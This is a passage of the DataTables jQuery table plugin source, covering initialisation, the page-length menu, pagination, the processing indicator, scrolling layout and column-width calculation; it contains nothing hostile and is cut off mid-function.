columns */\n\t\tif ( features.bAutoWidth ) {\n\t\t\t_fnCalculateColumnWidths( settings );\n\t\t}\n\t\n\t\tfor ( i=0, iLen=columns.length ; i<iLen ; i++ ) {\n\t\t\tcolumn = columns[i];\n\t\n\t\t\tif ( column.sWidth ) {\n\t\t\t\tcolumn.nTh.style.width = _fnStringToCss( column.sWidth );\n\t\t\t}\n\t\t}\n\t\n\t\t// If there is default sorting required - let's do it. The sort function\n\t\t// will do the drawing for us. Otherwise we draw the table regardless of the\n\t\t// Ajax source - this allows the table to look initialised for Ajax sourcing\n\t\t// data (show 'loading' message possibly)\n\t\t_fnReDraw( settings );\n\t\n\t\t// Server-side processing init complete is done by _fnAjaxUpdateDraw\n\t\tvar dataSrc = _fnDataSource( settings );\n\t\tif ( dataSrc != 'ssp' ) {\n\t\t\t// if there is an ajax source load the data\n\t\t\tif ( dataSrc == 'ajax' ) {\n\t\t\t\t_fnBuildAjax( settings, [], function(json) {\n\t\t\t\t\tvar aData = _fnAjaxDataSrc( settings, json );\n\t\n\t\t\t\t\t// Got the data - add it to the table\n\t\t\t\t\tfor ( i=0 ; i<aData.length ; i++ ) {\n\t\t\t\t\t\t_fnAddData( settings, aData[i] );\n\t\t\t\t\t}\n\t\n\t\t\t\t\t// Reset the init display for cookie saving. We've already done\n\t\t\t\t\t// a filter, and therefore cleared it before. So we need to make\n\t\t\t\t\t// it appear 'fresh'\n\t\t\t\t\tsettings.iInitDisplayStart = iAjaxStart;\n\t\n\t\t\t\t\t_fnReDraw( settings );\n\t\n\t\t\t\t\t_fnProcessingDisplay( settings, false );\n\t\t\t\t\t_fnInitComplete( settings, json );\n\t\t\t\t}, settings );\n\t\t\t}\n\t\t\telse {\n\t\t\t\t_fnProcessingDisplay( settings, false );\n\t\t\t\t_fnInitComplete( settings );\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Draw the table for the first time, adding all required features\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {object} [json] JSON from the server that completed the table, if using Ajax source\n\t *    with client-side processing (optional)\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnInitComplete ( settings, json )\n\t{\n\t\tsettings._bInitComplete = true;\n\t\n\t\t// On an Ajax load we now have data and therefore want to apply the column\n\t\t// sizing\n\t\tif ( json ) {\n\t\t\t_fnAdjustColumnSizing( settings );\n\t\t}\n\t\n\t\t_fnCallbackFire( settings, 'aoInitComplete', 'init', [settings, json] );\n\t}\n\t\n\t\n\tfunction _fnLengthChange ( settings, val )\n\t{\n\t\tvar len = parseInt( val, 10 );\n\t\tsettings._iDisplayLength = len;\n\t\n\t\t_fnLengthOverflow( settings );\n\t\n\t\t// Fire length change event\n\t\t_fnCallbackFire( settings, null, 'length', [settings, len] );\n\t}\n\t\n\t\n\t/**\n\t * Generate the node required for user display length changing\n\t *  @param {object} settings dataTables settings object\n\t *  @returns {node} Display length feature node\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnFeatureHtmlLength ( settings )\n\t{\n\t\tvar\n\t\t\tclasses  = settings.oClasses,\n\t\t\ttableId  = settings.sTableId,\n\t\t\tmenu     = settings.aLengthMenu,\n\t\t\td2       = $.isArray( menu[0] ),\n\t\t\tlengths  = d2 ? menu[0] : menu,\n\t\t\tlanguage = d2 ? menu[1] : menu;\n\t\n\t\tvar select = $('<select/>', {\n\t\t\t'name':          tableId+'_length',\n\t\t\t'aria-controls': tableId,\n\t\t\t'class':         classes.sLengthSelect\n\t\t} );\n\t\n\t\tfor ( var i=0, ien=lengths.length ; i<ien ; i++ ) {\n\t\t\tselect[0][ i ] = new Option( language[i], lengths[i] );\n\t\t}\n\t\n\t\tvar div = $('<div><label/></div>').addClass( classes.sLength );\n\t\tif ( ! settings.aanFeatures.l ) {\n\t\t\tdiv[0].id = tableId+'_length';\n\t\t}\n\t\n\t\t// This split doesn't matter where _MENU_ is, we get three items back from it\n\t\tvar a = settings.oLanguage.sLengthMenu.split(/(_MENU_)/);\n\t\tdiv.children()\n\t\t\t.append( a[0] )\n\t\t\t.append( select )\n\t\t\t.append( a[2] );\n\t\n\t\tselect\n\t\t\t.val( settings._iDisplayLength )\n\t\t\t.bind( 'change.DT', function(e) {\n\t\t\t\t_fnLengthChange( settings, $(this).val() );\n\t\t\t\t_fnDraw( settings );\n\t\t\t} );\n\t\n\t\t// Update node value whenever anything changes the table's length\n\t\t$(settings.nTable).bind( 'length', function (e, s, len) {\n\t\t\tselect.val( len );\n\t\t} );\n\t\n\t\treturn div[0];\n\t}\n\t\n\t\n\t\n\t/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n\t * Note that most of the paging logic is done in\n\t * DataTable.ext.pager\n\t */\n\t\n\t/**\n\t * Generate the node required for default pagination\n\t *  @param {object} oSettings dataTables settings object\n\t *  @returns {node} Pagination feature node\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnFeatureHtmlPaginate ( settings )\n\t{\n\t\tvar\n\t\t\ttype   = settings.sPaginationType,\n\t\t\tplugin = DataTable.ext.pager[ type ],\n\t\t\tmodern = typeof plugin === 'function',\n\t\t\tredraw = function( settings ) {\n\t\t\t\t_fnDraw( settings );\n\t\t\t},\n\t\t\tnode = $('<div/>').addClass( settings.oClasses.sPaging + type )[0],\n\t\t\tfeatures = settings.aanFeatures;\n\t\n\t\tif ( ! modern ) {\n\t\t\tplugin.fnInit( settings, node, redraw );\n\t\t}\n\t\n\t\t/* Add a draw callback for the pagination on first instance, to update the paging display */\n\t\tif ( ! features.p )\n\t\t{\n\t\t\tnode.id = settings.sTableId+'_paginate';\n\t\n\t\t\tsettings.aoDrawCallback.push( {\n\t\t\t\t\"fn\": function( settings ) {\n\t\t\t\t\tif ( modern ) {\n\t\t\t\t\t\tvar\n\t\t\t\t\t\t\tstart      = settings._iDisplayStart,\n\t\t\t\t\t\t\tlen        = settings._iDisplayLength,\n\t\t\t\t\t\t\tvisRecords = settings.fnRecordsDisplay(),\n\t\t\t\t\t\t\tall        = len === -1,\n\t\t\t\t\t\t\tpage = all ? 0 : Math.ceil( start / len ),\n\t\t\t\t\t\t\tpages = all ? 1 : Math.ceil( visRecords / len ),\n\t\t\t\t\t\t\tbuttons = plugin(page, pages),\n\t\t\t\t\t\t\ti, ien;\n\t\n\t\t\t\t\t\tfor ( i=0, ien=features.p.length ; i<ien ; i++ ) {\n\t\t\t\t\t\t\t_fnRenderer( settings, 'pageButton' )(\n\t\t\t\t\t\t\t\tsettings, features.p[i], i, buttons, page, pages\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tplugin.fnUpdate( settings, redraw );\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\t\"sName\": \"pagination\"\n\t\t\t} );\n\t\t}\n\t\n\t\treturn node;\n\t}\n\t\n\t\n\t/**\n\t * Alter the display settings to change the page\n\t *  @param {object} settings DataTables settings object\n\t *  @param {string|int} action Paging action to take: \"first\", \"previous\",\n\t *    \"next\" or \"last\" or page number to jump to (integer)\n\t *  @param [bool] redraw Automatically draw the update or not\n\t *  @returns {bool} true page has changed, false - no change\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnPageChange ( settings, action, redraw )\n\t{\n\t\tvar\n\t\t\tstart     = settings._iDisplayStart,\n\t\t\tlen       = settings._iDisplayLength,\n\t\t\trecords   = settings.fnRecordsDisplay();\n\t\n\t\tif ( records === 0 || len === -1 )\n\t\t{\n\t\t\tstart = 0;\n\t\t}\n\t\telse if ( typeof action === \"number\" )\n\t\t{\n\t\t\tstart = action * len;\n\t\n\t\t\tif ( start > records )\n\t\t\t{\n\t\t\t\tstart = 0;\n\t\t\t}\n\t\t}\n\t\telse if ( action == \"first\" )\n\t\t{\n\t\t\tstart = 0;\n\t\t}\n\t\telse if ( action == \"previous\" )\n\t\t{\n\t\t\tstart = len >= 0 ?\n\t\t\t\tstart - len :\n\t\t\t\t0;\n\t\n\t\t\tif ( start < 0 )\n\t\t\t{\n\t\t\t  start = 0;\n\t\t\t}\n\t\t}\n\t\telse if ( action == \"next\" )\n\t\t{\n\t\t\tif ( start + len < records )\n\t\t\t{\n\t\t\t\tstart += len;\n\t\t\t}\n\t\t}\n\t\telse if ( action == \"last\" )\n\t\t{\n\t\t\tstart = Math.floor( (records-1) / len) * len;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t_fnLog( settings, 0, \"Unknown paging action: \"+action, 5 );\n\t\t}\n\t\n\t\tvar changed = settings._iDisplayStart !== start;\n\t\tsettings._iDisplayStart = start;\n\t\n\t\t_fnCallbackFire( settings, null, 'page', [settings] );\n\t\n\t\tif ( redraw ) {\n\t\t\t_fnDraw( settings );\n\t\t}\n\t\n\t\treturn changed;\n\t}\n\t\n\t\n\t\n\t/**\n\t * Generate the node required for the processing node\n\t *  @param {object} settings dataTables settings object\n\t *  @returns {node} Processing element\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnFeatureHtmlProcessing ( settings )\n\t{\n\t\treturn $('<div/>', {\n\t\t\t\t'id': ! settings.aanFeatures.r ? settings.sTableId+'_processing' : null,\n\t\t\t\t'class': settings.oClasses.sProcessing\n\t\t\t} )\n\t\t\t.html( settings.oLanguage.sProcessing )\n\t\t\t.insertBefore( settings.nTable )[0];\n\t}\n\t\n\t\n\t/**\n\t * Display or hide the processing indicator\n\t *  @param {object} settings dataTables settings object\n\t *  @param {bool} show Show the processing indicator (true) or not (false)\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnProcessingDisplay ( settings, show )\n\t{\n\t\tif ( settings.oFeatures.bProcessing ) {\n\t\t\t$(settings.aanFeatures.r).css( 'visibility', show ? 'visible' : 'hidden' );\n\t\t}\n\t\n\t\t_fnCallbackFire( settings, null, 'processing', [settings, show] );\n\t}\n\t\n\t/**\n\t * Add any control elements for the table - specifically scrolling\n\t *  @param {object} settings dataTables settings object\n\t *  @returns {node} Node to add to the DOM\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnFeatureHtmlTable ( settings )\n\t{\n\t\tvar scroll = settings.oScroll;\n\t\n\t\tif ( scroll.sX === '' && scroll.sY === '' ) {\n\t\t\treturn settings.nTable;\n\t\t}\n\t\n\t\tvar scrollX = scroll.sX;\n\t\tvar scrollY = scroll.sY;\n\t\tvar classes = settings.oClasses;\n\t\tvar table = $(settings.nTable);\n\t\tvar caption = table.children('caption');\n\t\tvar captionSide = caption.length ? caption[0]._captionSide : null;\n\t\tvar headerClone = $( table[0].cloneNode(false) );\n\t\tvar footerClone = $( table[0].cloneNode(false) );\n\t\tvar footer = table.children('tfoot');\n\t\tvar _div = '<div/>';\n\t\tvar size = function ( s ) {\n\t\t\treturn !s ? null : _fnStringToCss( s );\n\t\t};\n\t\n\t\tif ( ! footer.length ) {\n\t\t\tfooter = null;\n\t\t}\n\t\n\t\t/*\n\t\t * The HTML structure that we want to generate in this function is:\n\t\t *  div - scroller\n\t\t *    div - scroll head\n\t\t *      div - scroll head inner\n\t\t *        table - scroll head table\n\t\t *          thead - thead\n\t\t *    div - scroll body\n\t\t *      table - table (master table)\n\t\t *        thead - thead clone for sizing\n\t\t *        tbody - tbody\n\t\t *    div - scroll foot\n\t\t *      div - scroll foot inner\n\t\t *        table - scroll foot table\n\t\t *          tfoot - tfoot\n\t\t */\n\t\tvar scroller = $( _div, { 'class': classes.sScrollWrapper } )\n\t\t\t.append(\n\t\t\t\t$(_div, { 'class': classes.sScrollHead } )\n\t\t\t\t\t.css( {\n\t\t\t\t\t\toverflow: 'hidden',\n\t\t\t\t\t\tposition: 'relative',\n\t\t\t\t\t\tborder: 0,\n\t\t\t\t\t\twidth: scrollX ? size(scrollX) : '100%'\n\t\t\t\t\t} )\n\t\t\t\t\t.append(\n\t\t\t\t\t\t$(_div, { 'class': classes.sScrollHeadInner } )\n\t\t\t\t\t\t\t.css( {\n\t\t\t\t\t\t\t\t'box-sizing': 'content-box',\n\t\t\t\t\t\t\t\twidth: scroll.sXInner || '100%'\n\t\t\t\t\t\t\t} )\n\t\t\t\t\t\t\t.append(\n\t\t\t\t\t\t\t\theaderClone\n\t\t\t\t\t\t\t\t\t.removeAttr('id')\n\t\t\t\t\t\t\t\t\t.css( 'margin-left', 0 )\n\t\t\t\t\t\t\t\t\t.append(\n\t\t\t\t\t\t\t\t\t\ttable.children('thead')\n\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t\t.append( captionSide === 'top' ? caption : null )\n\t\t\t)\n\t\t\t.append(\n\t\t\t\t$(_div, { 'class': classes.sScrollBody } )\n\t\t\t\t\t.css( {\n\t\t\t\t\t\toverflow: 'auto',\n\t\t\t\t\t\theight: size( scrollY ),\n\t\t\t\t\t\twidth: size( scrollX )\n\t\t\t\t\t} )\n\t\t\t\t\t.append( table )\n\t\t\t);\n\t\n\t\tif ( footer ) {\n\t\t\tscroller.append(\n\t\t\t\t$(_div, { 'class': classes.sScrollFoot } )\n\t\t\t\t\t.css( {\n\t\t\t\t\t\toverflow: 'hidden',\n\t\t\t\t\t\tborder: 0,\n\t\t\t\t\t\twidth: scrollX ? size(scrollX) : '100%'\n\t\t\t\t\t} )\n\t\t\t\t\t.append(\n\t\t\t\t\t\t$(_div, { 'class': classes.sScrollFootInner } )\n\t\t\t\t\t\t\t.append(\n\t\t\t\t\t\t\t\tfooterClone\n\t\t\t\t\t\t\t\t\t.removeAttr('id')\n\t\t\t\t\t\t\t\t\t.css( 'margin-left', 0 )\n\t\t\t\t\t\t\t\t\t.append(\n\t\t\t\t\t\t\t\t\t\ttable.children('tfoot')\n\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t\t.append( captionSide === 'bottom' ? caption : null )\n\t\t\t);\n\t\t}\n\t\n\t\tvar children = scroller.children();\n\t\tvar scrollHead = children[0];\n\t\tvar scrollBody = children[1];\n\t\tvar scrollFoot = footer ? children[2] : null;\n\t\n\t\t// When the body is scrolled, then we also want to scroll the headers\n\t\tif ( scrollX ) {\n\t\t\t$(scrollBody).scroll( function (e) {\n\t\t\t\tvar scrollLeft = this.scrollLeft;\n\t\n\t\t\t\tscrollHead.scrollLeft = scrollLeft;\n\t\n\t\t\t\tif ( footer ) {\n\t\t\t\t\tscrollFoot.scrollLeft = scrollLeft;\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\t\n\t\tsettings.nScrollHead = scrollHead;\n\t\tsettings.nScrollBody = scrollBody;\n\t\tsettings.nScrollFoot = scrollFoot;\n\t\n\t\t// On redraw - align columns\n\t\tsettings.aoDrawCallback.push( {\n\t\t\t\"fn\": _fnScrollDraw,\n\t\t\t\"sName\": \"scrolling\"\n\t\t} );\n\t\n\t\treturn scroller[0];\n\t}\n\t\n\t\n\t\n\t/**\n\t * Update the header, footer and body tables for resizing - i.e. column\n\t * alignment.\n\t *\n\t * Welcome to the most horrible function DataTables. The process that this\n\t * function follows is basically:\n\t *   1. Re-create the table inside the scrolling div\n\t *   2. Take live measurements from the DOM\n\t *   3. Apply the measurements to align the columns\n\t *   4. Clean up\n\t *\n\t *  @param {object} settings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnScrollDraw ( settings )\n\t{\n\t\t// Given that this is such a monster function, a lot of variables are use\n\t\t// to try and keep the minimised size as small as possible\n\t\tvar\n\t\t\tscroll         = settings.oScroll,\n\t\t\tscrollX        = scroll.sX,\n\t\t\tscrollXInner   = scroll.sXInner,\n\t\t\tscrollY        = scroll.sY,\n\t\t\tbarWidth       = scroll.iBarWidth,\n\t\t\tdivHeader      = $(settings.nScrollHead),\n\t\t\tdivHeaderStyle = divHeader[0].style,\n\t\t\tdivHeaderInner = divHeader.children('div'),\n\t\t\tdivHeaderInnerStyle = divHeaderInner[0].style,\n\t\t\tdivHeaderTable = divHeaderInner.children('table'),\n\t\t\tdivBodyEl      = settings.nScrollBody,\n\t\t\tdivBody        = $(divBodyEl),\n\t\t\tdivBodyStyle   = divBodyEl.style,\n\t\t\tdivFooter      = $(settings.nScrollFoot),\n\t\t\tdivFooterInner = divFooter.children('div'),\n\t\t\tdivFooterTable = divFooterInner.children('table'),\n\t\t\theader         = $(settings.nTHead),\n\t\t\ttable          = $(settings.nTable),\n\t\t\ttableEl        = table[0],\n\t\t\ttableStyle     = tableEl.style,\n\t\t\tfooter         = settings.nTFoot ? $(settings.nTFoot) : null,\n\t\t\tbrowser        = settings.oBrowser,\n\t\t\tie67           = browser.bScrollOversize,\n\t\t\theaderTrgEls, footerTrgEls,\n\t\t\theaderSrcEls, footerSrcEls,\n\t\t\theaderCopy, footerCopy,\n\t\t\theaderWidths=[], footerWidths=[],\n\t\t\tidx, correction, sanityWidth,\n\t\t\tzeroOut = function(nSizer) {\n\t\t\t\tvar style = nSizer.style;\n\t\t\t\tstyle.paddingTop = \"0\";\n\t\t\t\tstyle.paddingBottom = \"0\";\n\t\t\t\tstyle.borderTopWidth = \"0\";\n\t\t\t\tstyle.borderBottomWidth = \"0\";\n\t\t\t\tstyle.height = 0;\n\t\t\t};\n\t\n\t\t/*\n\t\t * 1. Re-create the table inside the scrolling div\n\t\t */\n\t\n\t\t// Remove the old minimised thead and tfoot elements in the inner table\n\t\ttable.children('thead, tfoot').remove();\n\t\n\t\t// Clone the current header and footer elements and then place it into the inner table\n\t\theaderCopy = header.clone().prependTo( table );\n\t\theaderTrgEls = header.find('tr'); // original header is in its own table\n\t\theaderSrcEls = headerCopy.find('tr');\n\t\theaderCopy.find('th, td').removeAttr('tabindex');\n\t\n\t\tif ( footer ) {\n\t\t\tfooterCopy = footer.clone().prependTo( table );\n\t\t\tfooterTrgEls = footer.find('tr'); // the original tfoot is in its own table and must be sized\n\t\t\tfooterSrcEls = footerCopy.find('tr');\n\t\t}\n\t\n\t\n\t\t/*\n\t\t * 2. Take live measurements from the DOM - do not alter the DOM itself!\n\t\t */\n\t\n\t\t// Remove old sizing and apply the calculated column widths\n\t\t// Get the unique column headers in the newly created (cloned) header. We want to apply the\n\t\t// calculated sizes to this header\n\t\tif ( ! scrollX )\n\t\t{\n\t\t\tdivBodyStyle.width = '100%';\n\t\t\tdivHeader[0].style.width = '100%';\n\t\t}\n\t\n\t\t$.each( _fnGetUniqueThs( settings, headerCopy ), function ( i, el ) {\n\t\t\tidx = _fnVisibleToColumnIndex( settings, i );\n\t\t\tel.style.width = settings.aoColumns[idx].sWidth;\n\t\t} );\n\t\n\t\tif ( footer ) {\n\t\t\t_fnApplyToChildren( function(n) {\n\t\t\t\tn.style.width = \"\";\n\t\t\t}, footerSrcEls );\n\t\t}\n\t\n\t\t// If scroll collapse is enabled, when we put the headers back into the body for sizing, we\n\t\t// will end up forcing the scrollbar to appear, making our measurements wrong for when we\n\t\t// then hide it (end of this function), so add the header height to the body scroller.\n\t\tif ( scroll.bCollapse && scrollY !== \"\" ) {\n\t\t\tdivBodyStyle.height = (divBody.offsetHeight + header[0].offsetHeight)+\"px\";\n\t\t}\n\t\n\t\t// Size the table as a whole\n\t\tsanityWidth = table.outerWidth();\n\t\tif ( scrollX === \"\" ) {\n\t\t\t// No x scrolling\n\t\t\ttableStyle.width = \"100%\";\n\t\n\t\t\t// IE7 will make the width of the table when 100% include the scrollbar\n\t\t\t// - which is shouldn't. When there is a scrollbar we need to take this\n\t\t\t// into account.\n\t\t\tif ( ie67 && (table.find('tbody').height() > divBodyEl.offsetHeight ||\n\t\t\t\tdivBody.css('overflow-y') == \"scroll\")\n\t\t\t) {\n\t\t\t\ttableStyle.width = _fnStringToCss( table.outerWidth() - barWidth);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// x scrolling\n\t\t\tif ( scrollXInner !== \"\" ) {\n\t\t\t\t// x scroll inner has been given - use it\n\t\t\t\ttableStyle.width = _fnStringToCss(scrollXInner);\n\t\t\t}\n\t\t\telse if ( sanityWidth == divBody.width() && divBody.height() < table.height() ) {\n\t\t\t\t// There is y-scrolling - try to take account of the y scroll bar\n\t\t\t\ttableStyle.width = _fnStringToCss( sanityWidth-barWidth );\n\t\t\t\tif ( table.outerWidth() > sanityWidth-barWidth ) {\n\t\t\t\t\t// Not possible to take account of it\n\t\t\t\t\ttableStyle.width = _fnStringToCss( sanityWidth );\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// When all else fails\n\t\t\t\ttableStyle.width = _fnStringToCss( sanityWidth );\n\t\t\t}\n\t\t}\n\t\n\t\t// Recalculate the sanity width - now that we've applied the required width,\n\t\t// before it was a temporary variable. This is required because the column\n\t\t// width calculation is done before this table DOM is created.\n\t\tsanityWidth = table.outerWidth();\n\t\n\t\t// Hidden header should have zero height, so remove padding and borders. Then\n\t\t// set the width based on the real headers\n\t\n\t\t// Apply all styles in one pass\n\t\t_fnApplyToChildren( zeroOut, headerSrcEls );\n\t\n\t\t// Read all widths in next pass\n\t\t_fnApplyToChildren( function(nSizer) {\n\t\t\theaderWidths.push( _fnStringToCss( $(nSizer).css('width') ) );\n\t\t}, headerSrcEls );\n\t\n\t\t// Apply all widths in final pass\n\t\t_fnApplyToChildren( function(nToSize, i) {\n\t\t\tnToSize.style.width = headerWidths[i];\n\t\t}, headerTrgEls );\n\t\n\t\t$(headerSrcEls).height(0);\n\t\n\t\t/* Same again with the footer if we have one */\n\t\tif ( footer )\n\t\t{\n\t\t\t_fnApplyToChildren( zeroOut, footerSrcEls );\n\t\n\t\t\t_fnApplyToChildren( function(nSizer) {\n\t\t\t\tfooterWidths.push( _fnStringToCss( $(nSizer).css('width') ) );\n\t\t\t}, footerSrcEls );\n\t\n\t\t\t_fnApplyToChildren( function(nToSize, i) {\n\t\t\t\tnToSize.style.width = footerWidths[i];\n\t\t\t}, footerTrgEls );\n\t\n\t\t\t$(footerSrcEls).height(0);\n\t\t}\n\t\n\t\n\t\t/*\n\t\t * 3. Apply the measurements\n\t\t */\n\t\n\t\t// \"Hide\" the header and footer that we used for the sizing. We want to also fix their width\n\t\t// to what they currently are\n\t\t_fnApplyToChildren( function(nSizer, i) {\n\t\t\tnSizer.innerHTML = \"\";\n\t\t\tnSizer.style.width = headerWidths[i];\n\t\t}, headerSrcEls );\n\t\n\t\tif ( footer )\n\t\t{\n\t\t\t_fnApplyToChildren( function(nSizer, i) {\n\t\t\t\tnSizer.innerHTML = \"\";\n\t\t\t\tnSizer.style.width = footerWidths[i];\n\t\t\t}, footerSrcEls );\n\t\t}\n\t\n\t\t// Sanity check that the table is of a sensible width. If not then we are going to get\n\t\t// misalignment - try to prevent this by not allowing the table to shrink below its min width\n\t\tif ( table.outerWidth() < sanityWidth )\n\t\t{\n\t\t\t// The min width depends upon if we have a vertical scrollbar visible or not */\n\t\t\tcorrection = ((divBodyEl.scrollHeight > divBodyEl.offsetHeight ||\n\t\t\t\tdivBody.css('overflow-y') == \"scroll\")) ?\n\t\t\t\t\tsanityWidth+barWidth :\n\t\t\t\t\tsanityWidth;\n\t\n\t\t\t// IE6/7 are a law unto themselves...\n\t\t\tif ( ie67 && (divBodyEl.scrollHeight >\n\t\t\t\tdivBodyEl.offsetHeight || divBody.css('overflow-y') == \"scroll\")\n\t\t\t) {\n\t\t\t\ttableStyle.width = _fnStringToCss( correction-barWidth );\n\t\t\t}\n\t\n\t\t\t// And give the user a warning that we've stopped the table getting too small\n\t\t\tif ( scrollX === \"\" || scrollXInner !== \"\" ) {\n\t\t\t\t_fnLog( settings, 1, 'Possible column misalignment', 6 );\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tcorrection = '100%';\n\t\t}\n\t\n\t\t// Apply to the container elements\n\t\tdivBodyStyle.width = _fnStringToCss( correction );\n\t\tdivHeaderStyle.width = _fnStringToCss( correction );\n\t\n\t\tif ( footer ) {\n\t\t\tsettings.nScrollFoot.style.width = _fnStringToCss( correction );\n\t\t}\n\t\n\t\n\t\t/*\n\t\t * 4. Clean up\n\t\t */\n\t\tif ( ! scrollY ) {\n\t\t\t/* IE7< puts a vertical scrollbar in place (when it shouldn't be) due to subtracting\n\t\t\t * the scrollbar height from the visible display, rather than adding it on. We need to\n\t\t\t * set the height in order to sort this. Don't want to do it in any other browsers.\n\t\t\t */\n\t\t\tif ( ie67 ) {\n\t\t\t\tdivBodyStyle.height = _fnStringToCss( tableEl.offsetHeight+barWidth );\n\t\t\t}\n\t\t}\n\t\n\t\tif ( scrollY && scroll.bCollapse ) {\n\t\t\tdivBodyStyle.height = _fnStringToCss( scrollY );\n\t\n\t\t\tvar iExtra = (scrollX && tableEl.offsetWidth > divBodyEl.offsetWidth) ?\n\t\t\t\tbarWidth :\n\t\t\t\t0;\n\t\n\t\t\tif ( tableEl.offsetHeight < divBodyEl.offsetHeight ) {\n\t\t\t\tdivBodyStyle.height = _fnStringToCss( tableEl.offsetHeight+iExtra );\n\t\t\t}\n\t\t}\n\t\n\t\t/* Finally set the width's of the header and footer tables */\n\t\tvar iOuterWidth = table.outerWidth();\n\t\tdivHeaderTable[0].style.width = _fnStringToCss( iOuterWidth );\n\t\tdivHeaderInnerStyle.width = _fnStringToCss( iOuterWidth );\n\t\n\t\t// Figure out if there are scrollbar present - if so then we need a the header and footer to\n\t\t// provide a bit more space to allow \"overflow\" scrolling (i.e. past the scrollbar)\n\t\tvar bScrolling = table.height() > divBodyEl.clientHeight || divBody.css('overflow-y') == \"scroll\";\n\t\tvar padding = 'padding' + (browser.bScrollbarLeft ? 'Left' : 'Right' );\n\t\tdivHeaderInnerStyle[ padding ] = bScrolling ? barWidth+\"px\" : \"0px\";\n\t\n\t\tif ( footer ) {\n\t\t\tdivFooterTable[0].style.width = _fnStringToCss( iOuterWidth );\n\t\t\tdivFooterInner[0].style.width = _fnStringToCss( iOuterWidth );\n\t\t\tdivFooterInner[0].style[padding] = bScrolling ? barWidth+\"px\" : \"0px\";\n\t\t}\n\t\n\t\t/* Adjust the position of the header in case we loose the y-scrollbar */\n\t\tdivBody.scroll();\n\t\n\t\t/* If sorting or filtering has occurred, jump the scrolling back to the top */\n\t\tif ( settings.bSorted || settings.bFiltered ) {\n\t\t\tdivBodyEl.scrollTop = 0;\n\t\t}\n\t}\n\t\n\t\n\t\n\t/**\n\t * Apply a given function to the display child nodes of an element array (typically\n\t * TD children of TR rows\n\t *  @param {function} fn Method to apply to the objects\n\t *  @param array {nodes} an1 List of elements to look through for display children\n\t *  @param array {nodes} an2 Another list (identical structure to the first) - optional\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnApplyToChildren( fn, an1, an2 )\n\t{\n\t\tvar index=0, i=0, iLen=an1.length;\n\t\tvar nNode1, nNode2;\n\t\n\t\twhile ( i < iLen ) {\n\t\t\tnNode1 = an1[i].firstChild;\n\t\t\tnNode2 = an2 ? an2[i].firstChild : null;\n\t\n\t\t\twhile ( nNode1 ) {\n\t\t\t\tif ( nNode1.nodeType === 1 ) {\n\t\t\t\t\tif ( an2 ) {\n\t\t\t\t\t\tfn( nNode1, nNode2, index );\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tfn( nNode1, index );\n\t\t\t\t\t}\n\t\n\t\t\t\t\tindex++;\n\t\t\t\t}\n\t\n\t\t\t\tnNode1 = nNode1.nextSibling;\n\t\t\t\tnNode2 = an2 ? nNode2.nextSibling : null;\n\t\t\t}\n\t\n\t\t\ti++;\n\t\t}\n\t}\n\t\n\t\n\t\n\tvar __re_html_remove = /<.*?>/g;\n\t\n\t\n\t/**\n\t * Calculate the width of columns for the table\n\t *  @param {object} oSettings dataTables settings object\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnCalculateColumnWidths ( oSettings )\n\t{\n\t\tvar\n\t\t\ttable = oSettings.nTable,\n\t\t\tcolumns = oSettings.aoColumns,\n\t\t\tscroll = oSettings.oScroll,\n\t\t\tscrollY = scroll.sY,\n\t\t\tscrollX = scroll.sX,\n\t\t\tscrollXInner = scroll.sXInner,\n\t\t\tcolumnCount = columns.length,\n\t\t\tvisibleColumns = _fnGetColumns( oSettings, 'bVisible' ),\n\t\t\theaderCells = $('th', oSettings.nTHead),\n\t\t\ttableWidthAttr = table.getAttribute('width'),\n\t\t\ttableContainer = table.parentNode,\n\t\t\tuserInputs = false,\n\t\t\ti, column, columnIdx, width, outerWidth;\n\t\n\t\t/* Convert any user input sizes into pixel sizes */\n\t\tfor ( i=0 ; i<visibleColumns.length ; i++ ) {\n\t\t\tcolumn = columns[ visibleColumns[i] ];\n\t\n\t\t\tif ( column.sWidth !== null ) {\n\t\t\t\tcolumn.sWidth = _fnConvertToWidth( column.sWidthOrig, tableContainer );\n\t\n\t\t\t\tuserInputs = true;\n\t\t\t}\n\t\t}\n\t\n\t\t/* If the number of columns in the DOM equals the number that we have to\n\t\t * process in DataTables, then we can use the offsets that are created by\n\t\t * the web- browser. No custom sizes can be set in order for this to happen,\n\t\t * nor scrolling used\n\t\t */\n\t\tif ( ! userInputs && ! scrollX && ! scrollY &&\n\t\t    columnCount == _fnVisbleColumns( oSettings ) &&\n\t\t\tcolumnCount == headerCells.length\n\t\t) {\n\t\t\tfor ( i=0 ; i<columnCount ; i++ ) {\n\t\t\t\tcolumns[i].sWidth = _fnStringToCss( headerCells.eq(i).width() );\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Otherwise construct a single row table with the widest node in the\n\t\t\t// data, assign any user defined widths, then insert it into the DOM and\n\t\t\t// allow the browser to do all the hard work of calculating table widths\n\t\t\tvar tmpTable = $( table.cloneNode( false ) )\n\t\t\t\t.css( 'visibility', 'hidden' )\n\t\t\t\t.removeAttr( 'id' 